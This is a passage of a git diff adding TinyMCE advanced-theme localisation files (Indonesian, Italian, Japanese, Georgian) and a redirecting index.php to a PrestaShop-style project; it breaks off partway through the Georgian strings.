b/js/tiny_mce/themes/advanced/langs/id.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition description",dt:"Definition term ",samp:"Code sample",code:"Code",blockquote:"Blockquote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"Div",paragraph:"Paragraph",block:"Format",fontdefault:"Font family","font_size":"Font size","style_select":"Styles","more_colors":"More colors","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Yakin untuk menghapus semua konten?",path:"Path","clipboard_msg":"Copy/Cut/Paste tidak tersedia pada Mozilla dan Firefox.\nButuh info selengkapnya?","blockquote_desc":"Blockquote","help_desc":"Help","newdocument_desc":"New document","image_props_desc":"Image properties","paste_desc":"Paste","copy_desc":"Copy","cut_desc":"Cut","anchor_desc":"Insert/edit anchor","visualaid_desc":"Toggle guidelines/invisible elements","charmap_desc":"Insert custom character","backcolor_desc":"Pilih background color","forecolor_desc":"Pilih text color","custom1_desc":"Deskripsi disini","removeformat_desc":"Remove formatting","hr_desc":"Insert horizontal ruler","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup messy code","image_desc":"Insert/edit image","unlink_desc":"Unlink","link_desc":"Insert/edit link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indent","outdent_desc":"Outdent","numlist_desc":"Ordered list","bullist_desc":"Unordered list","justifyfull_desc":"Align full","justifyright_desc":"Align right","justifycenter_desc":"Align center","justifyleft_desc":"Align left","striketrough_desc":"Strikethrough","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/id_dlg.js b/js/tiny_mce/themes/advanced/langs/id_dlg.js new file mode 100755 index 0000000..6d6ed32 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced_dlg',{"link_list":"Daftar Link","link_is_external":"URL yang Anda sisipkan tampaknya link eksternal, Anda ingin menambahkan awalan \'http://\'?","link_is_email":"URL yang Anda sisipkan tampaknya e-mail, Anda ingin menambahkan awalan \'mailto:\'?","link_titlefield":"Judul","link_target_blank":"Buka link pada window baru","link_target_same":"Buka link pada window yang sama","link_target":"Target","link_url":"Link URL","link_title":"Insert/edit link","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text bottom","image_align_texttop":"Text top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"Baseline","image_align":"Alignment","image_hspace":"Horizontal space","image_vspace":"Vertical space","image_dimensions":"Dimensions","image_alt":"Image description","image_list":"Image list","image_border":"Border","image_src":"Image URL","image_title":"Insert/edit image","charmap_title":"Pilih custom character","colorpicker_name":"Name:","colorpicker_color":"Color:","colorpicker_named_title":"Named colors","colorpicker_named_tab":"Named","colorpicker_palette_title":"Palette colors","colorpicker_palette_tab":"Palette","colorpicker_picker_title":"Color picker","colorpicker_picker_tab":"Picker","colorpicker_title":"Select a color","code_wordwrap":"Word wrap","code_title":"HTML Source Editor","anchor_name":"Anchor name","anchor_title":"Insert/edit anchor","about_loaded":"Loaded plugins","about_version":"Versi","about_author":"Penulis","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Lisensi","about_help":"Bantuan","about_general":"Tentang","about_title":"Tentang TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/index.php b/js/tiny_mce/themes/advanced/langs/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/it.js b/js/tiny_mce/themes/advanced/langs/it.js new file mode 100755 index 0000000..af84c79 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/it.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advanced',{"underline_desc":"Sottolineato (Ctrl+U)","italic_desc":"Corsivo (Ctrl+I)","bold_desc":"Grassetto (Ctrl+B)",dd:"Descrizione definizione",dt:"Termine definizione",samp:"Esempio codice",code:"Codice",blockquote:"Testo quotato",h6:"Intestazione 6",h5:"Intestazione 5",h4:"Intestazione 4",h3:"Intestazione 3",h2:"Intestazione 2",h1:"Intestazione 1",pre:"Preformattato",address:"Indirizzo",div:"Div",paragraph:"Paragrafo",block:"Formato",fontdefault:"Famiglia carattere","font_size":"Grandezza carattere","style_select":"Stili","anchor_delta_height":"anchor_delta_height","anchor_delta_width":"anchor_delta_width","charmap_delta_height":"charmap_delta_height","charmap_delta_width":"charmap_delta_width","colorpicker_delta_height":"colorpicker_delta_height","colorpicker_delta_width":"colorpicker_delta_width","link_delta_height":"link_delta_height","link_delta_width":"link_delta_width","image_delta_height":"image_delta_height","image_delta_width":"image_delta_width","more_colors":"Colori aggiuntivi","toolbar_focus":"Vai ai pulsanti strumento - Alt+Q, Vai all\'editor - Alt-Z, Vai al percorso dell\'elemento - Alt-X",newdocument:"Sei sicuro di voler cancellare tutti i contenuti?",path:"Percorso","clipboard_msg":"Copia/Taglia/Incolla non \u00e8 disponibile in Mozilla e Firefox..\nSi desidera avere maggiori informazioni su questo problema?","blockquote_desc":"Testo quotato","help_desc":"Aiuto","newdocument_desc":"Nuovo documento","image_props_desc":"Propriet\u00e0 immagine","paste_desc":"Incolla","copy_desc":"Copia","cut_desc":"Taglia","anchor_desc":"Inserisci/modifica ancora","visualaid_desc":"Mostra/nascondi linee guida/elementi invisibili","charmap_desc":"Inserisci carattere speciale","backcolor_desc":"Seleziona colore sfondo","forecolor_desc":"Seleziona colore testo","custom1_desc":"La tua descrizione personalizzata qui","removeformat_desc":"Rimuovi formattazione","hr_desc":"Inserisci riga orizzontale","sup_desc":"Apice","sub_desc":"Pedice","code_desc":"Modifica sorgente HTML","cleanup_desc":"Pulisci codice disordinato","image_desc":"Inserisci/modifica immagine","unlink_desc":"Togli collegamento","link_desc":"Inserisci/modifica collegamento","redo_desc":"Ripristina (Ctrl+Y)","undo_desc":"Annulla (Ctrl+Z)","indent_desc":"Sposta verso interno","outdent_desc":"Sposta verso esterno","numlist_desc":"Lista ordinata","bullist_desc":"Lista non ordinata","justifyfull_desc":"Giustifica","justifyright_desc":"Allinea a destra","justifycenter_desc":"Centra","justifyleft_desc":"Allinea a sinistra","striketrough_desc":"Barrato","help_shortcut":"Premi ALT-F10 Per la barra degli strumenti. Premi ALT-0 per l\'aiuto","rich_text_area":"Rich Text Area","shortcuts_desc":"Aiuto accessibilit\u00e0",toolbar:"Barra degli strumenti"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/it_dlg.js b/js/tiny_mce/themes/advanced/langs/it_dlg.js new file mode 100755 index 0000000..55df2dc --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advanced_dlg',{"link_list":"Lista link","link_is_external":"L\'URL inserito sembra essere un link esterno. Aggiungere il necessario prefisso http:// ?","link_is_email":"L\'URL inserito sembra essere un indirizzo email. Aggiungere il necessario prefisso mailto: ?","link_titlefield":"Titolo","link_target_blank":"Apri link in una nuova finestra","link_target_same":"Apri link nella stessa finestra","link_target":"Target","link_url":"URL link","link_title":"Inserisci/modifica collegamento","image_align_right":"A destra","image_align_left":"A sinistra","image_align_textbottom":"In basso al testo","image_align_texttop":"In alto al testo","image_align_bottom":"In basso","image_align_middle":"In mezzo","image_align_top":"In alto","image_align_baseline":"Alla base","image_align":"Allineamentot","image_hspace":"Spaziatura orizz.","image_vspace":"Spaziatura vert.","image_dimensions":"Dimensioni","image_alt":"Descrizione","image_list":"Lista immagini","image_border":"Bordo","image_src":"URL immagine","image_title":"Inserisci/modifica immagine","charmap_title":"Seleziona carattere speciale","colorpicker_name":"Nome:","colorpicker_color":"Colore:","colorpicker_named_title":"Colori per nome","colorpicker_named_tab":"Per nome","colorpicker_palette_title":"Tavolozza dei colori","colorpicker_palette_tab":"Tavolozza","colorpicker_picker_title":"Selettore colori","colorpicker_picker_tab":"Selettore","colorpicker_title":"Seleziona un colore","code_wordwrap":"A capo automatico","code_title":"Editor sorgente HTML","anchor_name":"Nome ancora","anchor_title":"Inserisci/modifica ancora","about_loaded":"Plugin caricati","about_version":"Versione","about_author":"Autore","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licenza","about_help":"Aiuto","about_general":"Informazioni","about_title":"Informazioni su TinyMCE","charmap_usage":"Utilizza le freccie sinistra e destra per navigare.","anchor_invalid":"Specificare un nome di ancora valido.","accessibility_help":"Guida accessibilit\u00e0","accessibility_usage_title":"Uso generale"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ja.js b/js/tiny_mce/themes/advanced/langs/ja.js new file mode 100755 index 0000000..f5533c5 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ja.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advanced',{"underline_desc":"\u4e0b\u7dda (Ctrl+U)","italic_desc":"\u659c\u4f53 (Ctrl+I)","bold_desc":"\u592a\u5b57 (Ctrl+B)",dd:"\u8a9e\u53e5\u306e\u8aac\u660e",dt:"\u8a9e\u53e5\u306e\u5b9a\u7fa9",samp:"\u30b3\u30fc\u30c9\u306e\u4f8b",code:"\u30b3\u30fc\u30c9",blockquote:"\u5f15\u7528",h6:"\u898b\u51fa\u30576",h5:"\u898b\u51fa\u30575",h4:"\u898b\u51fa\u30574",h3:"\u898b\u51fa\u30573",h2:"\u898b\u51fa\u30572",h1:"\u898b\u51fa\u30571",pre:"\u6574\u5f62\u6e08\u307f",address:"\u4f4f\u6240",div:"div\u8981\u7d20",paragraph:"\u6bb5\u843d",block:"\u66f8\u5f0f",fontdefault:"\u30d5\u30a9\u30f3\u30c8","font_size":"\u30d5\u30a9\u30f3\u30c8\u306e\u5927\u304d\u3055","style_select":"\u30b9\u30bf\u30a4\u30eb","more_colors":"\u3055\u3089\u306b\u8272\u3092\u4f7f\u7528...","toolbar_focus":"\u30c4\u30fc\u30eb\u30dc\u30bf\u30f3\u3078\u79fb\u52d5 - Alt Q, \u30a8\u30c7\u30a3\u30bf\u306b\u79fb\u52d5 - Alt-Z, \u8981\u7d20\u306e\u30d1\u30b9\u3078\u79fb\u52d5 - Alt-X",newdocument:"\u672c\u5f53\u306b\u3059\u3079\u3066\u306e\u5185\u5bb9\u3092\u6d88\u53bb\u3057\u3066\u3088\u3044\u3067\u3059\u304b?",path:"\u30d1\u30b9","clipboard_msg":"\u30b3\u30d4\u30fc/\u5207\u308a\u53d6\u308a/\u8cbc\u308a\u4ed8\u3051\u306fMozilla\u3068Firefox\u3067\u306f\u4f7f\u7528\u3067\u304d\u307e\u305b\u3093\u3002\n\u3053\u306e\u554f\u984c\u306e\u8a73\u7d30\u3092\u77e5\u308a\u305f\u3044\u3067\u3059\u304b?","blockquote_desc":"\u5f15\u7528\u30d6\u30ed\u30c3\u30af","help_desc":"\u30d8\u30eb\u30d7","newdocument_desc":"\u65b0\u3057\u3044\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8","image_props_desc":"\u753b\u50cf\u306e\u5c5e\u6027","paste_desc":"\u8cbc\u308a\u4ed8\u3051","copy_desc":"\u30b3\u30d4\u30fc","cut_desc":"\u5207\u308a\u53d6\u308a","anchor_desc":"\u30a2\u30f3\u30ab\u30fc\u306e\u633f\u5165/\u7de8\u96c6","visualaid_desc":"\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u3068\u975e\u8868\u793a\u8981\u7d20\u306e\u8868\u793a\u3092\u5207\u66ff","charmap_desc":"\u7279\u6b8a\u6587\u5b57","backcolor_desc":"\u80cc\u666f\u306e\u8272","forecolor_desc":"\u6587\u5b57\u306e\u8272","custom1_desc":"\u8aac\u660e\u6587\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002","removeformat_desc":"\u66f8\u5f0f\u306e\u524a\u9664","hr_desc":"\u6c34\u5e73\u7dda\u3092\u633f\u5165","sup_desc":"\u4e0a\u4ed8\u304d\u6587\u5b57","sub_desc":"\u4e0b\u4ed8\u304d\u6587\u5b57","code_desc":"HTML\u306e\u30bd\u30fc\u30b9\u3092\u7de8\u96c6","cleanup_desc":"\u4e71\u96d1\u306a\u30b3\u30fc\u30c9\u3092\u6574\u5f62","image_desc":"\u753b\u50cf\u306e\u633f\u5165/\u7de8\u96c6","unlink_desc":"\u30ea\u30f3\u30af\u3092\u89e3\u9664","link_desc":"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","redo_desc":"\u3084\u308a\u76f4\u3059 (Ctrl+Y)","undo_desc":"\u5143\u306b\u623b\u3059 (Ctrl+Z)","indent_desc":"\u5b57\u4e0b\u3052\u3092\u5897\u3084\u3059","outdent_desc":"\u5b57\u4e0b\u3052\u3092\u6e1b\u3089\u3059","numlist_desc":"\u756a\u53f7\u3064\u304d\u30ea\u30b9\u30c8","bullist_desc":"\u756a\u53f7\u306a\u3057\u30ea\u30b9\u30c8","justifyfull_desc":"\u5747\u7b49\u5272\u4ed8","justifyright_desc":"\u53f3\u63c3\u3048","justifycenter_desc":"\u4e2d\u592e\u63c3\u3048","justifyleft_desc":"\u5de6\u63c3\u3048","striketrough_desc":"\u53d6\u308a\u6d88\u3057\u7dda","help_shortcut":"ALT-F10 \u3067\u30c4\u30fc\u30eb\u30d0\u30fc\u3001ALT-0 \u3067\u30d8\u30eb\u30d7","rich_text_area":"\u30ea\u30c3\u30c1\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2","shortcuts_desc":"\u30a2\u30af\u30bb\u30b7\u30d3\u30ea\u30c6\u30a3\u306e\u30d8\u30eb\u30d7",toolbar:"\u30c4\u30fc\u30eb\u30d0\u30fc","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ja_dlg.js b/js/tiny_mce/themes/advanced/langs/ja_dlg.js new file mode 100755 index 0000000..74fd6d5 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advanced_dlg',{"link_list":"\u30ea\u30f3\u30af\u306e\u4e00\u89a7","link_is_external":"\u5165\u529b\u3057\u305fURL\u306f\u5916\u90e8\u306e\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b http:// \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","link_is_email":"\u5165\u529b\u3057\u305fURL\u306f\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b mailto: \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","link_titlefield":"\u30bf\u30a4\u30c8\u30eb","link_target_blank":"\u65b0\u3057\u3044\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","link_target_same":"\u540c\u3058\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","link_target":"\u30bf\u30fc\u30b2\u30c3\u30c8","link_url":"\u30ea\u30f3\u30af\u306eURL","link_title":"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","image_align_right":"\u53f3\u63c3\u3048","image_align_left":"\u5de6\u63c3\u3048","image_align_textbottom":"\u30c6\u30ad\u30b9\u30c8\u306e\u4e0b\u7aef\u63c3\u3048","image_align_texttop":"\u30c6\u30ad\u30b9\u30c8\u306e\u4e0a\u7aef\u63c3\u3048","image_align_bottom":"\u4e0b\u63c3\u3048","image_align_middle":"\u4e2d\u592e\u63c3\u3048","image_align_top":"\u4e0a\u63c3\u3048","image_align_baseline":"\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u63c3\u3048","image_align":"\u914d\u7f6e","image_hspace":"\u5de6\u53f3\u306e\u4f59\u767d","image_vspace":"\u4e0a\u4e0b\u306e\u4f59\u767d","image_dimensions":"\u5bf8\u6cd5","image_alt":"\u753b\u50cf\u306e\u8aac\u660e","image_list":"\u753b\u50cf\u306e\u4e00\u89a7","image_border":"\u67a0\u7dda","image_src":"\u753b\u50cf\u306eURL","image_title":"\u753b\u50cf\u306e\u633f\u5165/\u7de8\u96c6","charmap_title":"\u7279\u6b8a\u6587\u5b57","colorpicker_name":"\u540d\u524d:","colorpicker_color":"\u8272:","colorpicker_named_title":"\u5b9a\u7fa9\u6e08\u307f\u306e\u8272","colorpicker_named_tab":"\u5b9a\u7fa9\u6e08\u307f","colorpicker_palette_title":"\u30d1\u30ec\u30c3\u30c8\u306e\u8272","colorpicker_palette_tab":"\u30d1\u30ec\u30c3\u30c8","colorpicker_picker_title":"\u8272\u9078\u629e","colorpicker_picker_tab":"\u9078\u629e","colorpicker_title":"\u8272\u3092\u9078\u629e","code_wordwrap":"\u884c\u306e\u6298\u308a\u8fd4\u3057","code_title":"HTML\u306e\u30bd\u30fc\u30b9\u30a8\u30c7\u30a3\u30bf","anchor_name":"\u30a2\u30f3\u30ab\u30fc\u306e\u540d\u524d","anchor_title":"\u30a2\u30f3\u30ab\u30fc\u306e\u633f\u5165/\u7de8\u96c6","about_loaded":"\u8aad\u307f\u8fbc\u307f\u6e08\u307f\u306e\u30d7\u30e9\u30b0\u30a4\u30f3","about_version":"\u30d0\u30fc\u30b8\u30e7\u30f3","about_author":"\u4f5c\u6210\u8005","about_plugin":"\u30d7\u30e9\u30b0\u30a4\u30f3","about_plugins":"\u30d7\u30e9\u30b0\u30a4\u30f3","about_license":"\u30e9\u30a4\u30bb\u30f3\u30b9","about_help":"\u30d8\u30eb\u30d7","about_general":"TinyMCE\u306b\u3064\u3044\u3066","about_title":"TinyMCE\u306b\u3064\u3044\u3066","charmap_usage":"\u5de6\u53f3\u306e\u30ab\u30fc\u30bd\u30eb\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u79fb\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002","anchor_invalid":"\u6709\u52b9\u306a\u30a2\u30f3\u30ab\u30fc\u306e\u540d\u524d\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002","accessibility_help":"\u30a2\u30af\u30bb\u30b7\u30d3\u30ea\u30c6\u30a3\u306e\u30d8\u30eb\u30d7","accessibility_usage_title":"\u5168\u822c\u7684\u306a\u4f7f\u3044\u65b9"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ka.js b/js/tiny_mce/themes/advanced/langs/ka.js new file mode 100755 index 0000000..bc2b1fa --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ka.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advanced',{"underline_desc":"\u10db\u10dd\u10ee\u10d0\u10d6\u10e3\u10e0\u10da\u10d8 (Ctrl+U)","italic_desc":"\u10d3\u10d0\u10ee\u10e0\u10d8\u10da\u10d8 (Ctrl+I)","bold_desc":"\u10dc\u10d0\u10ee\u10d4\u10d5\u10e0\u10d0\u10d3 \u10e1\u10e5\u10d4\u10da\u10d8 (Ctrl+B)",dd:"\u10ea\u10dc\u10dd\u10d1\u10d0\u10e0\u10d8\u10e1 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",dt:"\u10ea\u10dc\u10dd\u10d1\u10d0\u10e0\u10d8\u10e1 \u10e2\u10d4\u10e0\u10db\u10d8\u10dc\u10d8",samp:"\u10d9\u10dd\u10d3\u10d8\u10e1 \u10db\u10d0\u10d2\u10d0\u10da\u10d8\u10d7\u10d8",code:"\u10d9\u10dd\u10d3\u10d8",blockquote:"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0",h6:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 6",h5:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 5",h4:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 4",h3:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 3",h2:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 2",h1:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 1",pre:"\u10d2\u10d0\u10d3\u10d0\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d4\u10d1\u10e3\u10da\u10d8",address:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",div:"Div",paragraph:"\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8",block:"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8",fontdefault:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","font_size":"\u10d6\u10dd\u10db\u10d0","style_select":"\u10e1\u10e2\u10d8\u10da\u10d8","more_colors":"\u10e1\u10ee\u10d5\u10d0 \u10e4\u10d4\u10e0\u10d4\u10d1\u10d8...","toolbar_focus":"\u10e6\u10d8\u10da\u10d0\u10d9\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+Q). \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+Z). \u10d2\u10d6\u10d8\u10e1 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10d6\u10d4 \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 (Alt+X).",newdocument:"\u10d3\u10d0\u10e0\u10ec\u10db\u10e3\u10dc\u10d4\u10d1\u10e3\u10da\u10d8 \u10ee\u10d0\u10e0\u10d7, \u10e0\u10dd\u10db \u10d2\u10e1\u10e3\u10e0\u10d7 \u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10d4\u10e0\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",path:"\u10e2\u10d4\u10d2\u10d4\u10d1\u10d8","clipboard_msg":"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0, \u10d0\u10db\u10dd\u10ed\u10e0\u10d0 \u10d3\u10d0 \u10e9\u10d0\u10e1\u10db\u10d0 Firefox-\u10e8\u10d8 \u10d0\u10e0 \u10db\u10e3\u10e8\u10d0\u10dd\u10d1\u10e1.\\r\n\u10d2\u10e1\u10e3\u10e0\u10d7 \u10db\u10d8\u10d8\u10e6\u10dd\u10d7 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0?","blockquote_desc":"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0","help_desc":"\u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d0","newdocument_desc":"\u10d0\u10ee\u10d0\u10da\u10d8 \u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8","image_props_desc":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","paste_desc":"\u10e9\u10d0\u10e1\u10db\u10d0","copy_desc":"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0","cut_desc":"\u10d0\u10db\u10dd\u10ed\u10e0\u10d0","anchor_desc":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","visualaid_desc":"\u10e7\u10d5\u10d4\u10da\u10d0 \u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd","charmap_desc":"\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","backcolor_desc":"\u10db\u10dd\u10dc\u10d8\u10e1\u10dc\u10e3\u10da\u10d8 \u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","forecolor_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","custom1_desc":"\u10e1\u10d0\u10d9\u10e3\u10d7\u10d0\u10e0\u10d8 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0","removeformat_desc":"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8\u10e1 \u10d2\u10d0\u10ec\u10db\u10d4\u10dc\u10d3\u10d0","hr_desc":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","sup_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d6\u10d4\u10db\u10dd\u10d7","sub_desc":"\u10e1\u10e2\u10d8\u10e0\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7","code_desc":"HTML \u10d9\u10dd\u10d3\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","cleanup_desc":"\u10d6\u10d4\u10d3\u10db\u10d4\u10e2\u10d8 \u10d9\u10dd\u10d3\u10d8\u10e1\u10d0\u10d2\u10d0\u10dc \u10d2\u10d0\u10ec\u10db\u10d4\u10dc\u10d3\u10d0","image_desc":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","unlink_desc":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0","link_desc":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","redo_desc":"\u10d3\u10d0\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0 (Ctrl+Y)","undo_desc":"\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0 (Ctrl+Z)","indent_desc":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d6\u10e0\u10d3\u10d0","outdent_desc":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10db\u10ea\u10d8\u10e0\u10d4\u10d1\u10d0","numlist_desc":"\u10d3\u10d0\u10dc\u10dd\u10db\u10e0\u10d8\u10da\u10d8 \u10e1\u10d8\u10d0","bullist_desc":"\u10db\u10d0\u10e0\u10d9\u10d8\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10e1\u10d8\u10d0","justifyfull_desc":"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4\u10d6\u10d4","justifyright_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","justifycenter_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","justifyleft_desc":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 